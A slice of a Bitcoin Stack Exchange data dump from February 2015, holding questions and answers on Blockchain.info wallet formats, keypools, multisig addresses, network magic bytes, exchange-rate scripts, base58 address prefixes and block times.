  <row Id="35914" PostTypeId="1" AcceptedAnswerId="36942" CreationDate="2015-02-05T09:31:10.117" Score="1" ViewCount="2321" Body="&lt;p&gt;I've noticed that &lt;a href=&quot;http://blockchain.info/wallet/&quot; rel=&quot;nofollow&quot;&gt;BCI's Wallet&lt;/a&gt; version has been updated to &lt;em&gt;version 2&lt;/em&gt; in recent times (and also employs key stretching, amongst other security features).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've referred to &lt;a href=&quot;https://blockchain.info/wallet/wallet-format&quot; rel=&quot;nofollow&quot;&gt;BCI's Wallet Support Page&lt;/a&gt; and it says Version 2 wallet data is of the following format: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;version&quot; : &quot;2.0&quot;,&#xA;&quot;pbkdf2_iterations&quot; : 10000,&#xA;&quot;payload&quot; : &quot;ENCRYPTED VERSION 1 PAYLOAD (SEE BELOW)&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What about the below JSON object (which can be accessed via URL of format &lt;a href=&quot;https://blockchain.info/wallet/1d39195b-d918-4b7b-acae-d47db3324454?format=json&amp;amp;resend_code=false&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/&lt;em&gt;INSERT_GUID_HERE&lt;/em&gt;?format=json&amp;amp;resend_code=false&lt;/a&gt;)? What version does this correspond to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear, the difference is &lt;em&gt;my JSON data is missing&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the &lt;em&gt;pbkdf2_iterations&lt;/em&gt; variable&lt;/li&gt;&#xA;&lt;li&gt;the &lt;em&gt;version&lt;/em&gt; (=2) variable&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For the data in question, here is the (edited) JSON object which is taken from the aforementioned link (replacing &lt;em&gt;GUID&lt;/em&gt; with the actual GUID):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;initial_error&quot;:&quot;For Improved security add an email address to your account.&quot;,&quot;auth_type&quot;:0,&quot;real_auth_type&quot;:0,&quot;symbol_local&quot;:{&quot;symbol&quot;:&quot;$&quot;,&quot;code&quot;:&quot;USD&quot;,&quot;symbolAppearsAfter&quot;:false,&quot;name&quot;:&quot;U.S. dollar&quot;,&quot;local&quot;:true,&quot;conversion&quot;:442752.14734791},&quot;clientTimeDiff&quot;:26055161055,&quot;war_checksum&quot;:&quot;c8c296cf351e7691&quot;,&quot;language&quot;:&quot;en&quot;,&quot;symbol_btc&quot;:{&quot;symbol&quot;:&quot;mBTC&quot;,&quot;code&quot;:&quot;MBC&quot;,&quot;symbolAppearsAfter&quot;:true,&quot;name&quot;:&quot;MilliBit (mBTC)&quot;,&quot;local&quot;:false,&quot;conversion&quot;:100000.00000000},&quot;extra_seed&quot;:&quot;89e4807b343acfed576c474a675da1daac3ddb76691d05963a9e0a76533ca7ad4cd12ff058b40a1dd2f57a40759bb484a3708c3545ccfd995913964f148d405f&quot;,&quot;payload&quot;:&quot;PAYLOAD DATA&quot;,&quot;guid&quot;:&quot;GUID&quot;,&quot;serverTime&quot;:1423127480609,&quot;payload_checksum&quot;:&quot;8f8e16d79e7528e9725bef006a9752894e5d344d0324ba4ac6f6e4d804e02971&quot;,&quot;sync_pubkeys&quot;:false}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compare this to current JSON data (&lt;a href=&quot;https://blockchain.info/wallet/1d39195b-d918-4b7b-acae-d47db3324454?format=json&amp;amp;resend_code=false&quot; rel=&quot;nofollow&quot;&gt;for a wallet created for this purposehttps://blockchain.info/wallet/1d39195b-d918-4b7b-acae-d47db3324454?format=json&amp;amp;resend_code=false&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;initial_error&quot;:&quot;For Improved security add an email address to your account.&quot;,&quot;extra_seed&quot;:&quot;92a5d897af5c491e9e36dfad95f72b616553b23e02777859729c49b934ebbe1a575aa31a8ce0ba9978b9901caae649dd112d1759da5e48117379fbab0a91b083&quot;,&quot;auth_type&quot;:0,&quot;real_auth_type&quot;:0,&quot;payload&quot;:&quot;{\&quot;pbkdf2_iterations\&quot;:5000,\&quot;version\&quot;:2,\&quot;payload\&quot;:\&quot;RyUtA4LJw69ly2ADu+zZLfoQ447o0gKhwXUAtzdbKpWOtvwjzHM8VY+zXU1z\/FklZJK\/in7XpWzz+zKnw3kHw0oSkLf1FaYVNR4zivUTRuXUaj5g\/Yq6DPhxpHyjEJGtXriqPP\/X713FePGBW5QolJplgIY15Q4GLNdPbanxfEI9LGuvO87tIXxUWY597MtqNzQQH67P+zCMw4q+kgS4wzchI\/D\/cQHRYH2gNSjMiv9rZbUPM7NKVR6IYJPokyoslHBBpN\/9qyCFNUHy1l\/SdPeNXRa\/UnBSsXu7Sf8TZuLL1REvYfoyFm3JOE3Fk3iJWbjN\/mgzDOFuF9sMXiqL5r7+guMm05da3bVvyLYOSMK7ZXRFKnDle53ga5FUhy+GUYcnHTSbXU3qTmDzr4Y4J1EE\/CDm7ceNXs9kl9OLy5bVU6MyezVvRR7hIDrBQLsA5kQMtZz6KTE7L5AaZ6aoigP94iP06SB8ZDOlcjVX\/nkDGS2Ajk2bPu5LiZwxglEgzEUpRrd3rglWp14n3X7EhF8w3PUgNeZTO2znOVwYNi568u+ORE3iOgOOkWLYTjV0QWOAdUn2OCR95lUna5MJbD19v5B0Jhn18grhJM\/2k34R\/F\/U2qhhRm6\/qVajAMSW7OTQzRdx0pyYXAHkbXjEUW1q0GyvEru9eg\/gkzc8j6PTZCp1avxevyqctddkgie4MM2saL09sH2rbrWfyV2Ihw==\&quot;}&quot;,&quot;symbol_local&quot;:{&quot;symbol&quot;:&quot;$&quot;,&quot;code&quot;:&quot;USD&quot;,&quot;symbolAppearsAfter&quot;:false,&quot;name&quot;:&quot;U.S. dollar&quot;,&quot;local&quot;:true,&quot;conversion&quot;:443419.65235899},&quot;guid&quot;:&quot;1d39195b-d918-4b7b-acae-d47db3324454&quot;,&quot;payload_checksum&quot;:&quot;030de1efb09ee9485eaf009095b02b5ec8536432fa3ccc5588e8831b9c9983ea&quot;,&quot;war_checksum&quot;:&quot;c8c296cf351e7691&quot;,&quot;language&quot;:&quot;en&quot;,&quot;symbol_btc&quot;:{&quot;symbol&quot;:&quot;BTC&quot;,&quot;code&quot;:&quot;BTC&quot;,&quot;symbolAppearsAfter&quot;:true,&quot;name&quot;:&quot;Bitcoin&quot;,&quot;local&quot;:false,&quot;conversion&quot;:100000000.00000000},&quot;sync_pubkeys&quot;:false}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-04-16T22:13:37.280" Title="Blockchain.info Wallet Format" Tags="|wallet|blockchain.info|blockchain-wallet-app|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35915" PostTypeId="2" ParentId="35913" CreationDate="2015-02-05T09:40:17.657" Score="1" Body="&lt;p&gt;The keypool, as the name suggests, is a pool of keys stored in your wallet.dat file for various functions including:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;change addresses&lt;/li&gt;&#xA;&lt;li&gt;new addresses&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By default you'll have 100 keys. Each time you use a key for change or receiving, there'll be one less key in the pool. A new key is added to replenish the used key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The oldest key (from February 2014) represents the age of the oldest key. In other words, you're storing BTC at an address that was created in February 2014. Replenishing the keypool doesn't update the date because that would mean the private key for the oldest (and still useful!) key has been cleared. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no inherent issue, per se, with old keys, if they're secured. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Although encrypting your wallet will replenish all keys since a compromised wallet would reveal a sizeable portion if the now encrypted keypool) &lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-02-05T17:44:55.667" LastActivityDate="2015-02-05T17:44:55.667" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35916" PostTypeId="1" CreationDate="2015-02-05T11:36:03.763" Score="3" ViewCount="766" Body="&lt;p&gt;I created 2-of-3 multisig address using bitcoinqt by three public keys from my wallet . when I tried to validate this address after creation it shows : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;isvalid&quot; : true&#xA;&quot;ismine&quot; : false&lt;/p&gt;&#xA;&#xA;&lt;p&gt;should it be is mine as it is created by 3 of my addresses ? can you explain me why it does not belong to the wallet ?&lt;/p&gt;&#xA;" OwnerUserId="13327" LastActivityDate="2015-02-10T20:42:46.827" Title="Is multisig address belong to the same wallet created by?" Tags="|bitcoin-core|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35918" PostTypeId="1" AcceptedAnswerId="35920" CreationDate="2015-02-05T15:20:15.077" Score="3" ViewCount="1321" Body="&lt;p&gt;Bitcoin uses F9 BE B4 D9 as its main network magic bytes. I've searched the source but cannot find where these values are stored. Presumably they're computed, but I'm not sure where. Can someone tell me where they exist or are computed in the source code? I'm wanting to find this value for other altcoins.&lt;/p&gt;&#xA;" OwnerUserId="22818" LastActivityDate="2015-02-05T16:00:16.707" Title="Where are the Main network magic bytes stored in bitcoin's source code?" Tags="|network|message|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35919" PostTypeId="2" ParentId="34180" CreationDate="2015-02-05T15:28:20.153" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How many btc have been transferred in orphan blocks, but then never&#xA;  included in any later block?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is not a statistic that's normally published by anybody, as far as I can tell.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How many btc have been transferred in zero-confirmation transactions that have never been included in the blockchain? How could one find this info?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The data necessary to do this analysis is out there, though it's really hard to know if it's complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/orphaned-blocks&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt; has a list of orphaned blocks back to &lt;a href=&quot;https://blockchain.info/orphaned-blocks?offset=400&quot; rel=&quot;nofollow&quot;&gt;March of 2014&lt;/a&gt;. It's hard to prove whether this list is complete since orphaned blocks don't propagate well (hence their being orphaned). But given these 400 or so orphaned blocks, you can grab all the transaction hashes, see how many of these transaction hashes can not be found in other blocks and that should set an upper bound for possible fraud activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll also have to see if the transactions that spend certain inputs in the orphaned blocks end up going to the same outputs but have a different signature and thus a different transaction hash. You should eliminate those as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you'll have a set of possible fraudulent activity for the past 11 months or so. Not perfect, but given that very few have any incentive to keep orphaned blocks around, this is a good a method as any.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-05T15:28:20.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35920" PostTypeId="2" ParentId="35918" CreationDate="2015-02-05T16:00:16.707" Score="4" Body="&lt;p&gt;See the file &lt;code&gt;chainparams.cpp&lt;/code&gt; in the constructor for &lt;code&gt;class CMainParams&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pchMessageStart[0] = 0xf9;&#xA;pchMessageStart[1] = 0xbe;&#xA;pchMessageStart[2] = 0xb4;&#xA;pchMessageStart[3] = 0xd9;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-02-05T16:00:16.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35921" PostTypeId="2" ParentId="10867" CreationDate="2015-02-05T18:31:20.260" Score="2" Body="&lt;p&gt;BitPay have a JSON API on &lt;a href=&quot;https://bitpay.com/api/rates&quot; rel=&quot;nofollow&quot;&gt;https://bitpay.com/api/rates&lt;/a&gt;&lt;br&gt;&#xA;You can get BRL value with this command and calculate, (this API update every 1 minute)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl -ks https://bitpay.com/api/rates | python -m json.tool | grep -iA 1 'Brasilian Real' | grep -i 'rate' | cut -f2 -d ':' | tr -d ' '&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You will need:&lt;br&gt;&#xA;- CURL&lt;br&gt;&#xA;- Python 2.7+&lt;br&gt;&#xA;- grep + cut + tr  &lt;/p&gt;&#xA;" OwnerUserId="23247" LastActivityDate="2015-02-05T18:31:20.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35922" PostTypeId="1" AcceptedAnswerId="35977" CreationDate="2015-02-05T21:30:02.310" Score="2" ViewCount="258" Body="&lt;p&gt;The standard rule in bitcoin is that if you see two blocks on a chain that has the same work, you accept the one that you saw first as the correct one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this extended to P2Pool chains, some nodes could see share blocks before a real block. Would the P2Pool members not then accept their own pool members real solved block? I would hope not!&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="5406" LastEditDate="2016-03-31T17:07:40.570" LastActivityDate="2016-03-31T17:07:40.570" Title="Do P2Pool nodes always accept real blocks over share blocks?" Tags="|block|p2pool|relay|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35923" PostTypeId="2" ParentId="10867" CreationDate="2015-02-05T23:48:24.747" Score="1" Body="&lt;p&gt;This is a simple way to &lt;a href=&quot;http://php.net/manual/en/function.print.php&quot; rel=&quot;nofollow&quot;&gt;print&lt;/a&gt; the value of 1 BTC in BRL with PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could manipulate the string containing the value for 1 BTC in BRL further if you need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$jsnsrc = &quot;https://blockchain.info/ticker&quot;;&#xA;$json = file_get_contents($jsnsrc);&#xA;$json = json_decode($json);&#xA;$one_Btc_To_Brl = $json-&amp;gt;BRL-&amp;gt;last;&#xA;&#xA;print &quot;1 BTC = &quot; . $one_Btc_to_Brl;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22974" LastActivityDate="2015-02-05T23:48:24.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35924" PostTypeId="2" ParentId="2972" CreationDate="2015-02-06T02:23:14.093" Score="0" Body="&lt;p&gt;Here's a list of BTC/AUD exchanges:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://exchangewar.info/coinprice?btc_aud&quot; rel=&quot;nofollow&quot;&gt;http://exchangewar.info/coinprice?btc_aud&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15748" LastEditorUserId="15748" LastEditDate="2016-10-30T00:07:01.823" LastActivityDate="2016-10-30T00:07:01.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35925" PostTypeId="1" AcceptedAnswerId="35926" CreationDate="2015-02-06T02:29:03.137" Score="1" ViewCount="150" Body="&lt;p&gt;You know the mining reward is just a number in the code,what if a miner changed it?&lt;/p&gt;&#xA;" OwnerUserId="20967" LastEditorUserId="5406" LastEditDate="2016-04-19T10:02:46.407" LastActivityDate="2016-04-19T10:02:46.407" Title="How does the Bitcoin network checks if the miner has changed the mining reward?" Tags="|mining-reward|coinbase-transaction|block-validity|" AnswerCount="1" CommentCount="0" ClosedDate="2015-02-06T04:49:30.370" ContentLicense="CC BY-SA 3.0" />
  <row Id="35926" PostTypeId="2" ParentId="35925" CreationDate="2015-02-06T03:41:33.800" Score="1" Body="&lt;p&gt;It's possible you mean 1 of 2 things by &quot;mining reward&quot;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Coinbase transaction.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Currently this reward is 25 bitcoins per block. If a miner changes this to be higher, it is an invalid block and other nodes will not accept this as a valid block. If the block is not accepted by other nodes, it doesn't go into the blockchain and the miner will not get any bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The miner can change the reward &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/e5f1f5a26399c7d36fa8e2c29ec411eea49b0a4c/src/main.cpp#L1831&quot; rel=&quot;nofollow&quot;&gt;to be lower&lt;/a&gt; than 25 bitcoins currently. This is potentially a way to slow down bitcoins coming into existence, but is otherwise not harmful. There is an economic disincentive for a miner to do this, but it is possible.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Transaction fee.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is the difference between the sum of the inputs and sum of the outputs in any given transaction. As the transaction is signed by a private key, any changes to either inputs or outputs will cause the signature embedded in the transaction to be invalid. If this transaction is included in a block, the block itself is invalid and will result in other nodes not accepting this block. Similarly as (1) the block being invalid will cause the block to not get into the blockchain causing the miner to not get any bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, the miner is heavily incentivized to act honestly as that's the only way a miner can get bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="23123" LastEditDate="2015-02-06T04:03:01.660" LastActivityDate="2015-02-06T04:03:01.660" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35927" PostTypeId="2" ParentId="35922" CreationDate="2015-02-06T08:11:07.567" Score="0" Body="&lt;p&gt;The p2pool sharechain is separate from the bitcoin blockchain. They don't interfere with each other in the way you describe.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2015-02-06T08:11:07.567" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35928" PostTypeId="2" ParentId="29820" CreationDate="2015-02-06T08:53:29.873" Score="3" Body="&lt;p&gt;The link you provided seems dead by now but there is an online documentation available at &lt;a href=&quot;http://counterparty.io/docs/about_counterparty/&quot; rel=&quot;nofollow&quot;&gt;http://counterparty.io/docs/about_counterparty/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3213" LastActivityDate="2015-02-06T08:53:29.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35929" PostTypeId="1" AcceptedAnswerId="35931" CreationDate="2015-02-06T10:39:48.460" Score="3" ViewCount="1395" Body="&lt;p&gt;I'm currently attempting to modify Vanitygen to suit a particular purpose. However, I'm running into an issue with &quot;impossible&quot; addresses. For example, from the stock Vanitygen available on Github I get this output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./vanitygen -T mR&#xA;Prefix 'mR' not possible&#xA;Hint: valid testnet addresses begin with &quot;m&quot; or &quot;n&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While the following works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./vanitygen -T m&#xA;Difficulty: 1&#xA;Pattern: m&#xA;Address: mh8e8yUtsmhCm6PTkuHV85ozEV5iNibmbp&#xA;Privkey: ***************(doesn't matter)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get similar results for this set of options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./vanitygen -F script 3Ro&#xA;Prefix '3Ro' not possible&#xA;Hint: valid bitcoin script addresses begin with a &quot;3&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./vanitygen -F script 3R&#xA;Difficulty: 836&#xA;Pattern: 3R&#xA;P2SHAddress: 3R1jUHTrESWgCC812LrgwHErc9Y3UL7XeL&#xA;Address: *********(doesn't matter)&#xA;Privkey: *********(doesn't matter)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I'm trying to determine why Vanitygen is saying that these particular prefixes are not possible. For both of these failures, the failure occurs within get_prefix_ranges(). However, this isn't a programming question, necessarily. What I'm trying to uncover is some underlying principle that I may be missing that would render these particular prefixes impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps a couple of questions may help me answer this myself:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Base58Check encoding the version+publickey+checksum, how exactly is the encoding processed? Is the input broken into 6-byte words and then converted into Base58 format (seems implausible because you could theoretically have something like 111111 (binary) in the checksum that would be &gt; 58). Or, is the whole version+pubkey+checksum converted to a BigNumber and then essentially Mod 58'd for each character.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the latter is the case (which seems probable), in what order does this occur? Using the example of 80FAFBFC (2163932156 decimal): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x = 2163932156&#xA;result[0] = x % 58 = 6&#xA;x = floor(x / 58) = 37309175&#xA;result[1] = x % 58 = 37&#xA;x = floor(x / 58) = 643261&#xA;result[2] = x % 58 = 41&#xA;x = floor(x / 58) = 11090&#xA;result[3] = x % 58 = 12&#xA;x = floor(x / 58) = 191&#xA;result[4] = x % 58 = 17&#xA;x = floor(x / 58) = 3&#xA;result[5] = 3&#xA;&#xA;result = [6, 37, 41, 12, 17, 3]&#xA;Convert to Base58 values:&#xA;result = [7,  e,  i,  D,  J, 4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would the result be displayed as: 7eiDJ4 or 4JDie7?&lt;/p&gt;&#xA;" OwnerUserId="23206" LastEditorUserId="23206" LastEditDate="2015-02-06T20:02:30.100" LastActivityDate="2019-01-20T12:47:07.550" Title="Vanitygen: Impossible addresses?" Tags="|vanitygen|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35930" PostTypeId="2" ParentId="8227" CreationDate="2015-02-06T16:03:38.940" Score="0" Body="&lt;p&gt;I found a website that is selling directly, you can check it out under &lt;a href=&quot;https://bitcoinx.ro/&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinx.ro/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23257" LastActivityDate="2015-02-06T16:03:38.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35931" PostTypeId="2" ParentId="35929" CreationDate="2015-02-06T16:47:28.933" Score="5" Body="&lt;p&gt;This is due to the &quot;version&quot; byte and the way &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;noreferrer&quot;&gt;bitcoin addresses are made&lt;/a&gt; with base58.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The procedure is pretty straightforward:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the version byte&lt;/li&gt;&#xA;&lt;li&gt;the RIPEMD160 of the SHA256 (known as HASH160) of the sec format of the public key (don't worry too much about this part, just know it's 20 bytes long)&lt;/li&gt;&#xA;&lt;li&gt;the checksum (4 bytes long)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Concatenate these and you have a 1 + 20 + 4 = 25 byte string which then gets encoded into a base58 string to form the bitcoin address. Note that parts 2 or 3 can be pretty much anything, but the version byte is specific to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your case, the version byte of testnet is 0x6f.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documented procedure for calculating base58 is &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a simple python program to demonstrate how this is done:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;alphabet = &quot;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&quot;&#xA;def b58(x):&#xA;    a = &quot;&quot;&#xA;    while x &amp;gt; 0:&#xA;        x, r = divmod(x,58)&#xA;        a += alphabet[r]&#xA;    return a[::-1]&#xA;print b58(0x6f0000000000000000000000000000000000000000)&#xA;print b58(0x6fffffffffffffffffffffffffffffffffffffffff)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result of this program is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mfWxJ45yp2SFn7UciZyNpvDKrzbhuzkU7H&#xA;n4rZHAPGXCu8bYchjzJhK3V7VVredELJRc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is actually the range of possible addresses within testnet. This is because anything before &lt;code&gt;mfWxJ45yp2SFn7UciZyNpvDKrzbhuzkU7H&lt;/code&gt; would result in the first byte being 0x6e and anything after &lt;code&gt;n4rZHAPGXCu8bYchjzJhK3V7VVredELJRc&lt;/code&gt; would result in the first byte being 0x70. Running vanitygen should confirm:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ vanitygen -T mfWxJ3&#xA;Prefix 'mfWxJ3' not possible&#xA;$ vanitygen -T mfWxJ4&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's important to keep the version number in mind when generating vanity addresses for this reason.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-06T16:47:28.933" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35932" PostTypeId="1" AcceptedAnswerId="35935" CreationDate="2015-02-06T17:08:56.023" Score="4" ViewCount="2507" Body="&lt;p&gt;What is the lowest block time of any cryptocurrency? I don't mean the time of an individual block, but the target time per block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the shortest reasonable block interval?&lt;/p&gt;&#xA;" OwnerUserId="21126" LastEditorUserId="5406" LastEditDate="2015-06-25T09:41:20.157" LastActivityDate="2020-06-22T12:10:23.573" Title="Which cryptocurrency has the smallest block time?" Tags="|block|alternatives|altcoin-development|block-interval|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35933" PostTypeId="1" CreationDate="2015-02-06T18:10:18.447" Score="2" ViewCount="1396" Body="&lt;p&gt;I lost my bitcoins after resetting my android smartphone. Is it possible to get hold of my lost bitcoins?? I did back up my smartphone before I reset it. So after I reset the phone all my apps were there including the bitcoin wallet( by Bitcoin Wallet Developers), although the wallet was now empty.  Can someone please help me with this?&lt;/p&gt;&#xA;" OwnerUserId="23261" LastEditorUserId="5406" LastEditDate="2017-01-12T14:26:24.450" LastActivityDate="2017-01-12T14:26:24.450" Title="Lost bitcoins on smartphone after resetting it, although I backed it up before" Tags="|bitcoin-wallet-app|wallet-recovery|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35934" PostTypeId="2" ParentId="30430" CreationDate="2015-02-06T18:14:36.570" Score="1" Body="&lt;p&gt;I was having a different somewhat related problem and stumbled across this thread. It seems that bitcoin-qt creates a &lt;a href=&quot;https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/man1/lockfile.1.html&quot; rel=&quot;nofollow&quot;&gt;.lock file&lt;/a&gt; to make sure no other program is using the same folder. If the app crashes, the lock file might not be deleted which could cause it to throw up an error about the program already being open. The .lock file is hidden, though, so you won't see it unless you have hidden files turned on. Deleting the .lock file might fix this for you.&lt;/p&gt;&#xA;" OwnerUserId="23260" LastActivityDate="2015-02-06T18:14:36.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35935" PostTypeId="2" ParentId="35932" CreationDate="2015-02-06T19:20:46.727" Score="3" Body="&lt;p&gt;There was a coin called &lt;a href=&quot;https://bitcointalk.org/index.php?topic=222450.0&quot; rel=&quot;nofollow&quot;&gt;Flashcoin&lt;/a&gt; that tried to do 6-second block times. I don't think that's being actively mined anymore as another &lt;a href=&quot;https://bitcointalk.org/index.php?topic=635403&quot; rel=&quot;nofollow&quot;&gt;Flashcoin&lt;/a&gt; appeared a year later (60-second block times).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Ethereum&quot; rel=&quot;nofollow&quot;&gt;Ethereum&lt;/a&gt; is planning a 12-second block time. Vitalik makes an argument for why that's probably the minimum for now &lt;a href=&quot;https://blog.ethereum.org/2014/07/11/toward-a-12-second-block-time/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Of course, ethereum hasn't been released yet, but &lt;a href=&quot;https://bitcointalk.org/index.php?topic=218852.0&quot; rel=&quot;nofollow&quot;&gt;Fastcoin&lt;/a&gt; with its 12-second block time is probably considered the lowest block generation time currently.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-06T19:20:46.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
